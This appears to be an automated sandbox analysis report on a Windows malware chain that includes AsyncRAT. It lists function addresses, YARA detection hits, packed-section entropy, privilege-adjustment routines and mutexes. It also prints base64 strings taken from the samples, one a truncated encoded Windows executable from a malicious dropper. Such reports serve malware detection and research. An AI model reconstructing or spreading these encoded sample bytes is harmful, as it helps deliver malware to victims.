Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00415ADC	16_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0042BA8D	16_2_0042BA8D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0040E2A9	16_2_0040E2A9
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004192BA	16_2_004192BA
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0040B351	16_2_0040B351
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0041CB5A	16_2_0041CB5A
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00409360	16_2_00409360
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0041C360	16_2_0041C360
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00416B7E	16_2_00416B7E
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00411B1B	16_2_00411B1B
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043533A	16_2_0043533A
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043CBD6	16_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043A3F0	16_2_0043A3F0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00439B90	16_2_00439B90
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00404BA0	16_2_00404BA0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004233A0	16_2_004233A0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00436C40	16_2_00436C40
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0040D44C	16_2_0040D44C
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00434C4D	16_2_00434C4D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00407470	16_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00419C10	16_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00418C1E	16_2_00418C1E
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0041D420	16_2_0041D420
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0041DC20	16_2_0041DC20
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00436430	16_2_00436430
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043CCE0	16_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043DCF0	16_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00422CF8	16_2_00422CF8
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00427C9D	16_2_00427C9D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043CD60	16_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00416571	16_2_00416571
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00424D70	16_2_00424D70
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00423D30	16_2_00423D30
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004215F0	16_2_004215F0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0041DE40	16_2_0041DE40
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00423E4B	16_2_00423E4B
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00405E60	16_2_00405E60
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00412670	16_2_00412670
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00425670	16_2_00425670
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0041AE00	16_2_0041AE00
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043CE00	16_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00423E30	16_2_00423E30
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004156D0	16_2_004156D0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0042C6D7	16_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00415EE0	16_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004266E7	16_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00406690	16_2_00406690
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043E690	16_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00436690	16_2_00436690
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00416E97	16_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00402EA0	16_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004376B0	16_2_004376B0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00426EBE	16_2_00426EBE
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00428F5D	16_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0042B763	16_2_0042B763
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00425F7D	16_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00414F08	16_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00420717	16_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00418731	16_2_00418731
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0041EF30	16_2_0041EF30
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0042BFD3	16_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00410FD6	16_2_00410FD6
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0042BFDA	16_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00436F90	16_2_00436F90
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004167A5	16_2_004167A5
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00418FAD	16_2_00418FAD
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_004097B0	16_2_004097B0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043DFB0	16_2_0043DFB0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00BFE000	16_2_00BFE000

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 001C80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B7DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B780C0 appears 260 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF7E52B14EC appears 106 times
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: String function: 00414A30 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: String function: 00408000 appears 52 times
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Code function: String function: 00007FF64C3714EC appears 106 times
Source: C:\Windows\System32\msiexec.exe	Code function: String function: 00007FF7946814EC appears 106 times
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Code function: String function: 00007FF6AE2214EC appears 106 times
Source: C:\Windows\System32\audiodg.exe	Code function: String function: 00007FF7A91B14EC appears 106 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 26.2.861C.tmp.Build.exe.3fa3990.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, type: DROPPED	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982597496594006
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982597496594006
Source: random[2].exe.6.dr	Static PE information: Section: lpxoosqu ZLIB complexity 0.9945606067868098
Source: 45777d8908.exe.6.dr	Static PE information: Section: lpxoosqu ZLIB complexity 0.9945606067868098
Source: random[1].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: ab674664b3.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: ab674664b3.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 79F6.tmp.AsyncClient.exe.11.dr, HZxunwjDMSGd.cs	Base64 encoded string: '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'
Source: 861C.tmp.Build.exe.11.dr, DarksProtectorD3eu6PcbZm91S53n53555a2377zss1P81R24r6j7M72O2H22m6MA283DarksProtector.cs	Base64 encoded string: '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

Source: 26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack, DarksProtector8Pp1MK442GTx44N6eUgCv6438Shs97x3F198R4L1Dq3D2325JDarksProtector.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack, DarksProtector8Pp1MK442GTx44N6eUgCv6438Shs97x3F198R4L1Dq3D2325JDarksProtector.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 79F6.tmp.AsyncClient.exe.11.dr, YuAbhMLrGUb.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 79F6.tmp.AsyncClient.exe.11.dr, YuAbhMLrGUb.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@68/34@107/9

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Code function: 7_2_00007FF6AE2240F0 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	7_2_00007FF6AE2240F0
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Code function: 12_2_00007FF64C3740F0 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	12_2_00007FF64C3740F0
Source: C:\Windows\System32\audiodg.exe	Code function: 13_2_00007FF7A91B40F0 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	13_2_00007FF7A91B40F0
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_00007FF7E52B40F0 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	14_2_00007FF7E52B40F0
Source: C:\Windows\System32\msiexec.exe	Code function: 15_2_00007FF7946840F0 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,CloseHandle,AdjustTokenPrivileges,CloseHandle,	15_2_00007FF7946840F0

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe

Code function: 7_2_00007FF6AE223E30 CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,wcscmp,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,

7_2_00007FF6AE223E30

Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe

Code function: 16_2_00430A6C CoCreateInstance,

16_2_00430A6C

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\K6UAlAU[1].exe

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\worker_RdDwvE
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Mutant created: NULL
Source: C:\Windows\System32\audiodg.exe	Mutant created: \Sessions\1\BaseNamedObjects\worker_kBEqZh
Source: C:\Windows\System32\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\worker_BAccdq
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2792:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Mutant created: \Sessions\1\BaseNamedObjects\9mzImB3NUR0Q
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Mutant created: \Sessions\1\BaseNamedObjects\43266f2abbf198987ad62d4962cf7134
Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\GqgWzd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
